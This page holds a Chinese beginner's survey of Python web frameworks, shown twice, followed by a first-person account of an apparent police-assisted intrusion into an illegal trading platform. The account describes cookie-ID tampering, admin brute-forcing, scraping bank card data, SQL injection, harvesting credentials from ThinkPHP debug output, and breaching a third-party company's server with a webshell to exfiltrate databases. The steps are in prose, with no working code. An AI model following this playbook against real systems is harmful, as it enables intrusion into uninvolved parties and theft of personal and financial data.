网站优化优采云 发表了文章 • 0 个评论 • 66 次浏览 • 2022-06-19 03:41 • 来自相关话题

  php抓取网页数据实例 Python Web框架大列兵,写给初学者的Web框架介绍
  我们知道Web开发最重要的是选择合适的框架,一个好的框架可以极大的提高我们开发的效率,也能帮助我们的应用能按照需求快速迭代。Web框架的数量和质量是一个语言是否成熟的标志之一。PHP下有Larvarel、CodeIgniter,Yii、TP等著名框架使得PHP成为最流行的Web语言之一。Ruby借助其强大框架Rails以RoR(Ruby on Rails)生态开辟了一番天地,很多RoR应用以强大的功能和敏捷能力而闻名,比如知名Git服务器系统Gitlab。那么时下最流行的语言Python Web框架的情况怎么样呢?今天虫虫就来给大家介绍这个。
  
  概述
  Python和PHP一样,也有着大量的Web框架,其Web框架生态圈非常广泛和多样化。在进入具体主题之前,我们先介绍下Web框架。
  Web框架是对常见通用功能的打包,比如Web权限认证模块、导航路由模块、HTTP解析模块、ORM模块以及做扩展使用的插件体系等,打包这些功能可以让开发人员轻松地创建Web应用程序。是一种高层次的代码和应用逻辑重用方法,可以极大的它减少了开发人员花在编写代码上的时间从而提高开发效率。通过提供现成的解决方案,Web应用程序框架可以帮助开发人员短时间内完成应用的开发并持续的迭代。
  Django
  
  说到Python的Web框架,无疑最想到的必然是Django。Django和Laravel最初都是借鉴了RoR的强大思想(动态、DDD、约定优于配置、低重复、及时反馈)。Django框架使用了类MVC的MVT(模型、视图、模板)模式,用Django ORM和数据库联系。
  
  Django ORM内置的管理面板,可以轻松实现数据库内容的管理。使用很少的配置就可能,自动生成数据库模型。
  视图可以包括函数和类,视图的URL路由分配在urls.py文件中完成,可以设计出完美优雅的URL调度。
  Django的模板的系统则相当简单,甚至不支持直接嵌入代码,需要预先生成Tag、Filter才能调用。
  Django支持强大的解决方案:
  全栈模式,内置了大量所有必须的模块cache、session、feed、orm、geo、auth。
  同时也支持"内置电池"(batteries included)模式。
  Django是典型的"大而全"的逻辑,这可以极大的方便大多数开发者。但是这就导致其灵活性不足。要引入其他更好的第三方优秀组件就基本上很难,比如想要在Django里用SQLAlchemy或Mako,需要打上很多补丁,而且会导致管理面板,授权,会话处理或生成表单等功能都不能使用。
  当然Django最人性化的地方是其强大的社区支持和详细文档完美的文档Django 书。文档在安装后就完全嵌入系统的各个部分,使用非常方便,这使得其开发的入门门槛很低。
  最后给一个Django网站模型的示例:
  
  Pyramid
  
  Pyramid也是一个常用的热门Python Web框架,它源于Pylons和repoze.bfg模块,在吸取精华的基础上使得Pyramid快速成长为了一个成熟和稳定的框架。
  虽然两者出现的时间差不多(2005),Pyramid和Django的设计思想则大相径庭。Pyramid非常灵活,很容易定制,可以非常自我的方式以创建特征。Pyramid不会强迫使用框架的习语,对于复杂或高度非标准的项目来说,这点非常有用。
  虽然也内置ORM模块,但是更倡导使用成熟的SQLAlchemy ORM。你也可以按照喜好来定制,比如你可能喜欢peewee ORM,使用原始SQL查询或与NoSQL数据库集成。
  Pyramid中所有选项都是开放式的,所以需要动手能力强一点,可能最初学者稍有点门槛。
  Pyramid是一个自称"开始小,完成大,保持完备的框架。"(start small, finish big, stay finished framework.)。所以非常适合有一定经验丰富的开发人员。
  Pyramid一个典型的"Hello Chongchong"应用示例:
  
  web2py
  
  web2py源于一个教学范例框架,其最关心的是是易于开发和部署。
  Web2py框架也源于RoR和Django思想的启发,奉行约定优于配置的想法,web2py中有很多合理的默认值,允许开发人员快速启动。
  Web2py框架自带了很多模块,比如内置服务器,生成HTML的帮助器,表单,验证器等等,但是Web2py多数据库引擎的支持很简单。其他更多内置的功能有:
  jQuery和Ajax建站助手;
  调度程序和cron;
  双因子认证助手;
  文本消息发送器;
  事件工单系统,允许自动将生产环境中发生的问题分配给开发人员。
  Web2py也宣称,提供全栈式解决方案,提供可能需要的一切模块。
  Web2py在线提供了大量文档:
  从零开始逐步指导入门,比如简要介绍Python语言。以友好的方式展示web2py的各个功能,包括大量代码示例和屏幕截图等。
  尽管具有一定竞争优势,但web2py的社区远远小于Django和Pyramid。其官方邮件列表也不大活跃。另外web2py目前还不能和Python 3不兼容。
  web2py一个典型的广告模型示例:
  微框架
  与大而全思想相反的设计思想是,小而精致的设计,这就是微框架。微框架的好处就是没有冗余,因而性能都很好。
  Flask
  
  Flask是除了Django外最流行的Python Web框架。Flask是一个微框架,具备了基本功能,也支持轻松的扩展。因此,Flask更适合做为胶水来用,来粘合各个Web库。
  纯 Flask不支持任何存储,但是可以Flask-SQLAlchemy,Flask-MongoAlchemy和Flask-Redis等。类似的基本模板系统是Jinja2,可以使用Mako替换。
  Flask框架的座右铭是轻量,"一次一滴"(one drop at a time),这也在其文档中得到全面反映。关于如何构建Flash应用程序可以通过点点滴滴方式学习。阅读几段文档后,就能适应其开发任务了。
  在Flash中你不需要一次就学习很多东西,尤其高级的功能,知道你真正需要的时候再学不迟,这样可以避免无实践的"尴学"。
  Flask的最大问题是,没有大量Flask扩展支持和功能打包。常常遇到扩展插件停更或者文档过时的情况,需要花费大量的精力处理这些情况。
  Flask一个简单示例如下:
  Falcon
  
  Falcon 猎鹰也是一个比较流行的微框架。其目标是创建一个简洁、轻量的Web应用程序基础。官方宣称Falcon是一个裸壳(bare-metal),无限膨胀(bloat-free)的工具集,用于快速的构建后端代码和微服务。Falcon兼容Python 2和3,不用担心Python的版本问题。
  Falcon的一大优势在于其性能非常高,非常快。其官方网站基准测试显示,其比Django或Flask等具有很高的性能优势(27~75倍)。
  
  Falcon缺点是其打包模块有点太少,有路由,中间件,钩子,除此之外就不提供其他功能了(裸壳)。额外其他功能,比如验证等都需要开发人员来开发扩展。因为其设计中就假设用于构建REST API。
  当然其高性能的高度定制的特点确实是一个很好的卖点。毕竟有时候"最简单的解决方案就是最好的方案"。
  Falcon示例程序:
  
  API Star
  
  API Star是一个新的Web微框架,只支持Python 3,其特性使用了Python 3.5中引入的类型提示。API Star使用内置的类型提示实现以简洁、声明式的构建验证模式表示,然后绑定这些模式来请求处理函数。
  API Star还具有兼容OpenAPI 3 的自动API生成文档功能。
  API Star另一个突出的特性是依赖注入机制。这是一个更强大、更智能中间件的替代品。比如可以编写一个所谓的Component,它将使用当前经过身份验证来提供给用户视图。在视图级别,只需要明确声明它将需要User实例,其他事情API Star就会在幕后自动完成。
  自动依赖注入优于常规中间件的优点是组件不会有其他未使用视图的开销。同样
  API Star也可以以更传统,同步性的,兼容WSGI的方式在asyncio上运行。
  最后与API Star捆绑在一起的其他模块都非常标准:比如使用jinja2,路由和事件挂钩进行模板化扩展支持。
  总之API Star初生牛犊,发展可观。截止当前其GitHub存储库中有超过5271的星星。贡献者已经接近一百。PR的合并也非常快,是一个快速增长和协作的新兴框架。
  基于异步和asyncio的框架
  Python web网站通常很慢,为了提高性能,异步技术就成了灵丹妙药。Python也有很多这类的框架。
  Twisted
  
  Twisted是Python中最古老,最成熟的Python异步框架。Twisted最初产生于2002年,其核心是一个名为reactor的事件驱动网络引擎,用于调度和调用用户定义的回调。开始的时候开发人员必须通过定义函数并在操作成功和失败时分别传递它们来使用显式回调。
  
  后来Twisted引入了inlineCallbacks ,用于编写异步代码程序,这些代码与常规同步代码一样简单易读。这个解决方案非常适合Python的语法,并且极大地影响了标准库asyncio中的现代异步工具包。
  Twisted框架的最大优点是虽然本身只是一个捆绑很少的引擎,但支持许多其他扩展可用于扩展其功能,比如从低级网络编程(TCP/UDP)和高级应用程序(HTTP,IMAP,SHH等)。所以,Twisted天然适合编写专业服务,但不适合常规Web应用程序。开发人员必须自己编写很多东西才能实现Django中自带那些功能。Twisted目前开发和维护还很活跃,正在努力迁移代码到Python 3,其核心功能不久前被重写,但许多第三方模块还存在兼容性问题。
  Twisted inlineCallbacks代码示例:
  
  Sanic
  
  Sanic是基于asyncio-Python的异步编程工具箱,与Python 3.4版本的标准库捆绑在一起。Sanic的开发基于Sanic需要掌握asyncio思想,涉及协程的理论知识,并发编程以及关于应用程序中数据流的推理。Sanic在处理长连接时特别有用,比如websocket,如果需要支持websockets或进行大量持久的外部API调用,Sanic是个非常不错的选择。
  Sanic的另一个用例是编写 "glue-web App",它可以作为两个具有不兼容API的子系统之间的代理。
  Sanic框架非常快。其中一个依赖项是Uvloop,它用来替换asyncio的内置事件循环的替代品。Uvloop是libuv的包装器,与Node.js相同的引擎。根据uvloop官方文档,可以让 asyncio的效率提高了2-4倍。
  就功能方面Sanic模仿Flask,比如通过共享Blueprints的概念,微小的子应用程序,允许开发人员在更大的应用程序中拆分和组织其代码。对于光光是数据增删改查CRUD应用,Sanic也不是一个好的选择。
  Sanic一个示例:
  
  Japronto
  在高性能编程领域,有著名的C10K甚至C10M问题,Python Web应用怎么实现每秒处理100W的请求呢?这就是Python把asyncio添加到标准库时想要实现的目标。Japronto是一个基于asyncio的微框架。通过使用uvloop和PicoHTTPParser Japronto实现了每秒处理100万个请求。Uvloop上面说了是基于libuv的asyncio后端,而PicoHTTPParser是用C编写的轻量级HTTP头解析器。
  Japronto框架的所有核心组件也用C实现,还使用各种低层优化和技巧来调整性能。Japronto主要用于高性能特殊任务,它们无法通过大而冗余的主流框架实现。
  Japronto还为REST API的微服务开发提供坚实的基础,开发人员只需要设置路由并确定哪些路由应使用同步或异步处理程序。
  Japronto中"Hello world"应用示例:
   查看全部

  php抓取网页数据实例 Python Web框架大列兵,写给初学者的Web框架介绍
  我们知道Web开发最重要的是选择合适的框架,一个好的框架可以极大的提高我们开发的效率,也能帮助我们的应用能按照需求快速迭代。Web框架的数量和质量是一个语言是否成熟的标志之一。PHP下有Larvarel、CodeIgniter,Yii、TP等著名框架使得PHP成为最流行的Web语言之一。Ruby借助其强大框架Rails以RoR(Ruby on Rails)生态开辟了一番天地,很多RoR应用以强大的功能和敏捷能力而闻名,比如知名Git服务器系统Gitlab。那么时下最流行的语言Python Web框架的情况怎么样呢?今天虫虫就来给大家介绍这个。
  
  概述
  Python和PHP一样,也有着大量的Web框架,其Web框架生态圈非常广泛和多样化。在进入具体主题之前,我们先介绍下Web框架。
  Web框架是对常见通用功能的打包,比如Web权限认证模块、导航路由模块、HTTP解析模块、ORM模块以及做扩展使用的插件体系等,打包这些功能可以让开发人员轻松地创建Web应用程序。是一种高层次的代码和应用逻辑重用方法,可以极大的它减少了开发人员花在编写代码上的时间从而提高开发效率。通过提供现成的解决方案,Web应用程序框架可以帮助开发人员短时间内完成应用的开发并持续的迭代。
  Django
  
  说到Python的Web框架,无疑最想到的必然是Django。Django和Laravel最初都是借鉴了RoR的强大思想(动态、DDD、约定优于配置、低重复、及时反馈)。Django框架使用了类MVC的MVT(模型、视图、模板)模式,用Django ORM和数据库联系。
  
  Django ORM内置的管理面板,可以轻松实现数据库内容的管理。使用很少的配置就可能,自动生成数据库模型。
  视图可以包括函数和类,视图的URL路由分配在urls.py文件中完成,可以设计出完美优雅的URL调度。
  Django的模板的系统则相当简单,甚至不支持直接嵌入代码,需要预先生成Tag、Filter才能调用。
  Django支持强大的解决方案:
  全栈模式,内置了大量所有必须的模块cache、session、feed、orm、geo、auth。
  同时也支持"内置电池"(batteries included)模式。
  Django是典型的"大而全"的逻辑,这可以极大的方便大多数开发者。但是这就导致其灵活性不足。要引入其他更好的第三方优秀组件就基本上很难,比如想要在Django里用SQLAlchemy或Mako,需要打上很多补丁,而且会导致管理面板,授权,会话处理或生成表单等功能都不能使用。
  当然Django最人性化的地方是其强大的社区支持和详细文档完美的文档Django 书。文档在安装后就完全嵌入系统的各个部分,使用非常方便,这使得其开发的入门门槛很低。
  最后给一个Django网站模型的示例:
  
  Pyramid
  
  Pyramid也是一个常用的热门Python Web框架,它源于Pylons和repoze.bfg模块,在吸取精华的基础上使得Pyramid快速成长为了一个成熟和稳定的框架。
  虽然两者出现的时间差不多(2005),Pyramid和Django的设计思想则大相径庭。Pyramid非常灵活,很容易定制,可以非常自我的方式以创建特征。Pyramid不会强迫使用框架的习语,对于复杂或高度非标准的项目来说,这点非常有用。
  虽然也内置ORM模块,但是更倡导使用成熟的SQLAlchemy ORM。你也可以按照喜好来定制,比如你可能喜欢peewee ORM,使用原始SQL查询或与NoSQL数据库集成。
  Pyramid中所有选项都是开放式的,所以需要动手能力强一点,可能最初学者稍有点门槛。
  Pyramid是一个自称"开始小,完成大,保持完备的框架。"(start small, finish big, stay finished framework.)。所以非常适合有一定经验丰富的开发人员。
  Pyramid一个典型的"Hello Chongchong"应用示例:
  
  web2py
  
  web2py源于一个教学范例框架,其最关心的是是易于开发和部署。
  Web2py框架也源于RoR和Django思想的启发,奉行约定优于配置的想法,web2py中有很多合理的默认值,允许开发人员快速启动。
  Web2py框架自带了很多模块,比如内置服务器,生成HTML的帮助器,表单,验证器等等,但是Web2py多数据库引擎的支持很简单。其他更多内置的功能有:
  jQuery和Ajax建站助手;
  调度程序和cron;
  双因子认证助手;
  文本消息发送器;
  事件工单系统,允许自动将生产环境中发生的问题分配给开发人员。
  Web2py也宣称,提供全栈式解决方案,提供可能需要的一切模块。
  Web2py在线提供了大量文档:
  从零开始逐步指导入门,比如简要介绍Python语言。以友好的方式展示web2py的各个功能,包括大量代码示例和屏幕截图等。
  尽管具有一定竞争优势,但web2py的社区远远小于Django和Pyramid。其官方邮件列表也不大活跃。另外web2py目前还不能和Python 3不兼容。
  web2py一个典型的广告模型示例:
  微框架
  与大而全思想相反的设计思想是,小而精致的设计,这就是微框架。微框架的好处就是没有冗余,因而性能都很好。
  Flask
  
  Flask是除了Django外最流行的Python Web框架。Flask是一个微框架,具备了基本功能,也支持轻松的扩展。因此,Flask更适合做为胶水来用,来粘合各个Web库。
  纯 Flask不支持任何存储,但是可以Flask-SQLAlchemy,Flask-MongoAlchemy和Flask-Redis等。类似的基本模板系统是Jinja2,可以使用Mako替换。
  Flask框架的座右铭是轻量,"一次一滴"(one drop at a time),这也在其文档中得到全面反映。关于如何构建Flash应用程序可以通过点点滴滴方式学习。阅读几段文档后,就能适应其开发任务了。
  在Flash中你不需要一次就学习很多东西,尤其高级的功能,知道你真正需要的时候再学不迟,这样可以避免无实践的"尴学"。
  Flask的最大问题是,没有大量Flask扩展支持和功能打包。常常遇到扩展插件停更或者文档过时的情况,需要花费大量的精力处理这些情况。
  Flask一个简单示例如下:
  Falcon
  
  Falcon 猎鹰也是一个比较流行的微框架。其目标是创建一个简洁、轻量的Web应用程序基础。官方宣称Falcon是一个裸壳(bare-metal),无限膨胀(bloat-free)的工具集,用于快速的构建后端代码和微服务。Falcon兼容Python 2和3,不用担心Python的版本问题。
  Falcon的一大优势在于其性能非常高,非常快。其官方网站基准测试显示,其比Django或Flask等具有很高的性能优势(27~75倍)。
  
  Falcon缺点是其打包模块有点太少,有路由,中间件,钩子,除此之外就不提供其他功能了(裸壳)。额外其他功能,比如验证等都需要开发人员来开发扩展。因为其设计中就假设用于构建REST API。
  当然其高性能的高度定制的特点确实是一个很好的卖点。毕竟有时候"最简单的解决方案就是最好的方案"。
  Falcon示例程序:
  
  API Star
  
  API Star是一个新的Web微框架,只支持Python 3,其特性使用了Python 3.5中引入的类型提示。API Star使用内置的类型提示实现以简洁、声明式的构建验证模式表示,然后绑定这些模式来请求处理函数。
  API Star还具有兼容OpenAPI 3 的自动API生成文档功能。
  API Star另一个突出的特性是依赖注入机制。这是一个更强大、更智能中间件的替代品。比如可以编写一个所谓的Component,它将使用当前经过身份验证来提供给用户视图。在视图级别,只需要明确声明它将需要User实例,其他事情API Star就会在幕后自动完成。
  自动依赖注入优于常规中间件的优点是组件不会有其他未使用视图的开销。同样
  API Star也可以以更传统,同步性的,兼容WSGI的方式在asyncio上运行。
  最后与API Star捆绑在一起的其他模块都非常标准:比如使用jinja2,路由和事件挂钩进行模板化扩展支持。
  总之API Star初生牛犊,发展可观。截止当前其GitHub存储库中有超过5271的星星。贡献者已经接近一百。PR的合并也非常快,是一个快速增长和协作的新兴框架。
  基于异步和asyncio的框架
  Python web网站通常很慢,为了提高性能,异步技术就成了灵丹妙药。Python也有很多这类的框架。
  Twisted
  
  Twisted是Python中最古老,最成熟的Python异步框架。Twisted最初产生于2002年,其核心是一个名为reactor的事件驱动网络引擎,用于调度和调用用户定义的回调。开始的时候开发人员必须通过定义函数并在操作成功和失败时分别传递它们来使用显式回调。
  
  后来Twisted引入了inlineCallbacks ,用于编写异步代码程序,这些代码与常规同步代码一样简单易读。这个解决方案非常适合Python的语法,并且极大地影响了标准库asyncio中的现代异步工具包。
  Twisted框架的最大优点是虽然本身只是一个捆绑很少的引擎,但支持许多其他扩展可用于扩展其功能,比如从低级网络编程(TCP/UDP)和高级应用程序(HTTP,IMAP,SHH等)。所以,Twisted天然适合编写专业服务,但不适合常规Web应用程序。开发人员必须自己编写很多东西才能实现Django中自带那些功能。Twisted目前开发和维护还很活跃,正在努力迁移代码到Python 3,其核心功能不久前被重写,但许多第三方模块还存在兼容性问题。
  Twisted inlineCallbacks代码示例:
  
  Sanic
  
  Sanic是基于asyncio-Python的异步编程工具箱,与Python 3.4版本的标准库捆绑在一起。Sanic的开发基于Sanic需要掌握asyncio思想,涉及协程的理论知识,并发编程以及关于应用程序中数据流的推理。Sanic在处理长连接时特别有用,比如websocket,如果需要支持websockets或进行大量持久的外部API调用,Sanic是个非常不错的选择。
  Sanic的另一个用例是编写 "glue-web App",它可以作为两个具有不兼容API的子系统之间的代理。
  Sanic框架非常快。其中一个依赖项是Uvloop,它用来替换asyncio的内置事件循环的替代品。Uvloop是libuv的包装器,与Node.js相同的引擎。根据uvloop官方文档,可以让 asyncio的效率提高了2-4倍。
  就功能方面Sanic模仿Flask,比如通过共享Blueprints的概念,微小的子应用程序,允许开发人员在更大的应用程序中拆分和组织其代码。对于光光是数据增删改查CRUD应用,Sanic也不是一个好的选择。
  Sanic一个示例:
  
  Japronto
  在高性能编程领域,有著名的C10K甚至C10M问题,Python Web应用怎么实现每秒处理100W的请求呢?这就是Python把asyncio添加到标准库时想要实现的目标。Japronto是一个基于asyncio的微框架。通过使用uvloop和PicoHTTPParser Japronto实现了每秒处理100万个请求。Uvloop上面说了是基于libuv的asyncio后端,而PicoHTTPParser是用C编写的轻量级HTTP头解析器。
  Japronto框架的所有核心组件也用C实现,还使用各种低层优化和技巧来调整性能。Japronto主要用于高性能特殊任务,它们无法通过大而冗余的主流框架实现。
  Japronto还为REST API的微服务开发提供坚实的基础,开发人员只需要设置路由并确定哪些路由应使用同步或异步处理程序。
  Japronto中"Hello world"应用示例:
  

【10步】完成一个十亿大案的电子数据取证

网站优化优采云 发表了文章 • 0 个评论 • 63 次浏览 • 2022-06-18 12:03 • 来自相关话题

  【10步】完成一个十亿大案的电子数据取证
  写在前面的话
  这可能是已身坚志残的先森归隐之作,经历了某省有关XX招录政策各种变,对打击网络犯罪和维护网络安全的相关领域技能人才的不够重视。满腔热血就这么凝固,因此这段时间也消沉了很多,但即使如此,屠龙少年仍会不忘初心,始终以打击恶龙为己任!
  同时这也是一篇无奈的求职信,祈求有关XX中的伯乐能够慧眼识马,以管用有效的政策和公平公正地考察方式来检验相关应试人员的【技能和实力】,实现像先森这样一片赤诚为国奉献的年轻人的理想。
  这里要 感谢 前段时间在有关XX实习时朝夕相处的同事们及 提供有关XX实习机会的领导 、案例中某单位的几位朋友 和 后续提供技术支持的朋友C、 公众号信息时代的犯罪侦查等朋友们给予的机会和肯定。
  下面是正文,一改前期,以严肃、简练的文笔纪实了先森同学几年前协助有关XX侦破某案件。长达一个月的渗透和半个月的取证,期间并未截图且后期网站为躲避打击而做了迁移和改变,以下截图为后补的,信息可能有很多地方对不上的,望各位海涵。
  原涉案网址:,后改为*****
  
  第0节 信息收集
  本次行动旨在响应净网行动,打击违法网站,营造和谐社会。前期某单位民警通过线索发现辖区内有公民参与到涉案网站,并已对其立案侦查,现需要对整个涉案网站进行分析、取证。
  前期通过威胁情报平台和子域名爆破等方式拿到该网址的几个公开的子域名。
  子域名收集:
  ThinkPHP框架
  ……
  通过查询域名历史持有者拿到如下信息:
  域名持有者信息:
  注册者** (相关域名 1 个)
  注册机构*************************************
  邮箱********@ (相关域名 0 个)
  电话+86.***********
  电话: ***********
  注册者: **** *****
  邮箱: **********@
  注册账号后,进入用普通用户的后台。左侧一共四栏选择框,前两栏为功能模块;下一栏跳转到交易系统,最后一栏是宣传照。通过查看Cookie的信息,发现该网站有阿里云的防护,即使发现网站有漏洞也无法正面利用,如图 0-1所示。
  
  图 0-1 查看Cookies内容
  在交易系统中发现可以浏览任意用户的信息。通过对Cookie的观察,发现是基于Thinkphp框架的,而且该系统中用户的ID出现在Cookie里,猜测可能存在平行越权,随后对ID进行篡改并测试。如图 0-2、0-3所示。
  
  图 0-2 修改前内容
  
  图 0-3 修改后内容
  进一步利用该漏洞,抓取更多信息。通过对网站上的JS文件的分析,找到一个未作安全校验的API接口。这样的话,结合Cookie欺骗和越权便可以抓取一部分会员的银行卡信息。如图 0-4所示。
  
  图 0-4 银行卡接口
  抓取了几个高层的信息后,发现数据似乎不全,隐约感觉到pul、user这两个网站的数据库中相关用户表的数据是彼此独立且存在一定关联的。由于该系统是基于thinkphp的框架,顺便利用其特性收集了路径信息:
  E:\website\\ThinkPHP\Library\Think\View.class.php
  E:\website\JIAOYIHOUTAI\vendor\laravel\framework\src\Illuminate\Routing\Router.php
  作者注:后来(迁移到*****后)为
  /pro_env/data/wwwroot//ThinkPHP/Library/Think/Dispatcher.class.php
  第1节后台!后台!后台!
  找到交易系统的后台并成功登录。在用户交易系统的网址后随手加上了/admin,没想到真的跳转到了管理后台。当访问 /admin 时,服务器自动进行了302跳转至x.x..x.220:81。(以下为保存到本地的网页,css样式表有问题导致网页异常)如图1 -1所示。
  
  图 1-1 后台登录页面
  利用字典爆破该后台,成功进入后台。如图 1-2、1-3、1-4所示。
  
  图 1-2 后台1
  
  图 1-3 后台2
  
  图 1-4 后台3
  通过与网安民警的交谈,需要进一步获取账户的具体信息。如图 1-5所示。
  
  图 1-5 汇报情况
  随后我用Python写了几个小脚本,通过遍历id的方式对网页进行抓取,为了方式流量过大引起不必要的麻烦,我写了一个单线程、随机延时的爬虫。如图 1-6所示。
  
  图 1-6 爬虫脚本
  通过脚本爬取并处理数据。经过一段时间的爬取,拿到了TOP5000账户的若干信息;为了直观和方便查看又写了一个处理脚本,将网页处理成表格。如图 1-7所示。
  
  图 1-7 处理后数据
  数据虽然已经够分析研判,但为了能出色的完成这桩案件、震慑违法犯罪的行为,咱主线任务还是要拿到权限,继续扩大战果。
  第2节 这才是真正的开始
  此章节属于广义社工环节,通过Google搜索,找到一些相关的宣传资料,并发现新目标:
  通过分析研判,发现一家叫做“companyA”的公司跟targetA有高度关联。如图 2-1所示。
  
  图 2-1 网站截图
  继续对该域名信息进行收集
  m*********:
  注册者************************************* (相关域名 1 个)
  注册机构***************************************
  邮箱*******@ (相关域名 1 个)
  电话+86.************
  子域名收集:
  ***shop. (***shop .m*********)
  admin. (admin.m*********)
  download. (download.m*********)
  *********
  下载并分析名为“targetB”的APP。根据QQ群的聊天记录以及其官网的宣传资料分析,发现“targetB”是一款集成targetA充值、交易于一身的半社交型App,找到官方下载入口后,将该app下载到本地。如图 2-2所示。
  图 2-2 APP下载入口
  逆向、提取并测试API接口。本来想安装到手机上分析,发现app已经无法登陆,随后对APP进行逆向分析,提取了其API接口,如图 2-3所示。
  图 2-3 API接口列表
  接口盲测试,发现SQL注入。因为无法APP已无法登录,所以只能对这些接口盲测试。皇天不负有心人,终于在一个接口中发现了注入。如图 2-4所示。
  
  图 2-4 测试注入
  通过ThinkPHP的调试功能拿到数据库密码。注入其实算不了什么,真正有用的是数据库密码:由于“targetB”的网站是基于thinkphp的,而且还开启了Debug功能,所以轻松拿数据库密码。如图 2-5所示。
  
  图 2-5 报错信息中含数据库密码
  将数据库的连接信息,填入数据库管理程序上,发现竟然无法连接。查了很久的资料才知道是阿里云数据库开启了安全策略,非白名单的IP是不能连接到该数据库。没办法,只能通过sql注入去获取数据了。利用报错注入获取数据,拿到的数据如图2-6、图 2-7所示。
  图 2-6 注入出的账号数据
  
  图 2-7 注入出的银行卡数据
  最后借助SQL注入构造查询语句,拿到targetB数据库大致的结构。此时虽然拿到了targetB的部分数据,但始终是没有拿到真正意义上的权限——Webshell。
  第三节曲折而又失败的入侵
  通过对网站的分析,发现该服务器上还有shop、download、***shop等网站应用,那么他们就极大可能性连接到这个数据库。通过渗透它们来拿到网站权限再以此为跳板操作数据库,岂不是可以真正的获取数据库了吗?接着利用SQLI跨库读取到 targetB 和 shop两个系统的后台账号。
  当我准备进入targetB后台时候(*********/admin),发现用户名密码明明都对上了,但一直在提示重新登陆,我一度怀疑这是假后台。一番折腾后,我猜测后台虽然是连接到了数据库,但不知道出于什么原因,后台废了,或者有其他的入口。
  如此一来只能尝试从shop这系统入手了。在登陆成功后,发现是基于开源ecshop系统且后台功能被严重阉割,根本无法上传或写入后门。到嘴边的肥肉了,就这么眼睁睁的放走?不可能的。通过对后台几个简陋的功能的分析,利用 kindeditor的列目录漏洞获取部分信息,如图 3-1所示。
  Payload如下:
  
  图 3-1 利用列目录漏洞
  只找到几个时间很久的网站压缩包,没什么用,至此思路中断。
  我们回到targetB数据库这条线上,世界上最遥远的距离不是你在天涯我在海角,而是我有你数据库的钥匙却被防火墙拦截了。有人说过,没有环境就自己创造环境;既然需要白名单,那我就迂回包抄,搞一个在白名单内的服务器。
  第四节钟馗抓鬼,定位开发者公司和白名单之旅
  巧用ThinkPHP特性,收集信息并进行广义社工。前面提到targetB是基于ThinkPHP的,我利用Debug日志文件对信息再次收集,其原理是网站在开启Debug功能后,访问runtime/log/20**/01/01.log 形式的文件,可以看到到该网站的访问日志、错误日志以及提交信息等。通过遍历所有的日志文件发现,里面有部分手机号,并且发现早期的网站路径并非当前的/alidata/www/app/index.php(该路径同样来源于框架报错页面),说明早期的那个路径可能是开发者的环境或者说是最早的网站环境。
  抱着手机号可能是开发者的想法,我想到一个追踪思路:查找最早的日志=>提取注册的手机号等信息=>定位开发者。根据日志里留存的信息整理出的结果,如图 4-1所示。
  图 4-1 社工出的信息
  一、 支线,简单的社会工程学
  看到上面的图片,你可以会有一些疑问,谁是“张**”、为什么多次提到某地区。所以还有个支线要提及,那就是发现targetB之前我还在 【腾讯视频】 发现了其他的视频宣传资料。如图 4-2所示。
  图 4-2 腾讯视频上的宣传信息
  其中一个名为“userA”的用户引起了我的注意,他是最早上传targetA相关的宣传视频,该视频既是全网独一无二的,又是高端大气上档次。以下为他录制的targetA视频的截图,如图 4-3、4-4所示。
  图 4-3 视频截图1
  
  图 4-4 视频截图2
  视频里他自称为“胖仔”,最早的发布时间是20**年*月,视频中对网站的各个功能熟练程度不逊于开发者而非使用者。而且更让我对他特别关注的另外一个原因则是,在“targetA*****流程”的录制视频中,他所访问的targetA网站 和目前我侦察的网站外观和功能上完全不一致,我推测是早期的网站(该平台的外观见上面的录制视频截图 图4-3),那什么人能接触到这个早期的平台呢?
  
  图 4-5 上传者主页
  通过对腾讯视频上的用户“userA”的分析,我整理出以下信息:
  
  图 4-6 社工上传者信息
  我想,分析到这里,是不是对这位小胖的身份有所领悟?他大学时期的所学专业是传媒学,而且腾讯视频上的宣传视频的上传用户也是他。这就说明他是targetA平台的一名核心人员或者是开发人员/视频后期制作人员 (这个结论其实是来自后来对“targetB”公司的分析)。分线交待完毕,回到主线:
  二、 定位开发者公司:
  利用targetB数据和搜索引擎,交叉关联并深挖开发者。主线上的分析并没有凸显出他们跟“companyA”公司有关联,那我是怎么挖出来他的呢?将日志里的几十个手机号放入到 targetB数据中进行交叉关联,发现有几个手机号均注册了targetB(此处分析见上面主线里的图片)。接着分别对这些手机号进行人肉搜索,发现手机号*******2126且targetB里实名用户“武*”的联系方式赫然出现在网络上,看来是开发团队的领导。如图 4-7所示。
  
  图 4-7 搜索开发者手机号
  我们再次重温一下targetB数据:
  
  图 4-8 重温targetB数据
  第一个注册的用户竟然是武*(起始id为**00),这说明了武*很有可能掌握targetB的重要信息,况且又是一个公司中开发团队的领导。几个线索一关联,随后定位到这个“companyA”。
  既然APP是“companyA”团队开发的,处于方便维护targetB网站原因,说不定他的服务器能连接到targetB的数据库呢。抱着这个念头,我掉转枪口准备怼companyA。
  三、 交出白名单:
  常规手段入侵“companyA”。通过信息收集,找到放置“targetB”网站的服务器,反向查询得到所有解析到该IP的域名。发现大多数网站都是基于thinkphp开发的,看来程序猿是严重依赖该框架的。俗话说捡软柿子捏,这次继续通过框架的报错特性拿到数据库连接信息和当前网站的路径。由于这次MySQL开启了外联功能,可以连接到数据库且是root权限的。利用mysql的导出功能给网站目录导出了一个WebShell,如图4-9所示。
  
  图 4-9 获取webshell
  顺手提取了administrator的密码,成功连接到远程桌面:
  
  图 4-10 提权服务器并连接
  咱们这次不能白来,果然可以连接到targetB数据库,如图 4-11、4-12所示。
  图 4-11 利用客户端连接数据库
  
  图 4-12 成功连接到数据库
  考虑到远程桌面打包起来过于麻烦且会留下大量痕迹,索性在webshell下导出所有数据
  
  图 4-13 webshell下导出数据库
  随后通过特殊办法分批将数据传输出去,如图 4-14
  
  图 4-14
  
  图 4-15 整理归类
  意料之外的战果,通过日志发现了“targetB”的后台:原来真正的后台是/****-admin,上次的后台/admin是废掉的。如图 4-16所示。
  图 4-16 targetB后台系统1
  图 4-17 targetB后台系统2
  这个后台对于我来说已经没什么用了,反正数据库权限已经拿到了。至此完成了对“targetB”的数据库取证,同时值得一提的是这个APP还收集用户的GPS信息,所以根据“心中有剑,落叶飞花,皆是兵器”这个思路可以将此数据用于后续对主要犯罪嫌疑人的定位。此时我的心情就好像从雨夜到了多云,本来可以开心的,但任务并不是拿下targetB,而是拿下这个交易平台的,毕竟 targetB并非直连到targetA数据库,简单讲targetB在法律上不能作为证据。这点东西远远不够,甚至可以说“跑题”了,一时陷入了僵局……
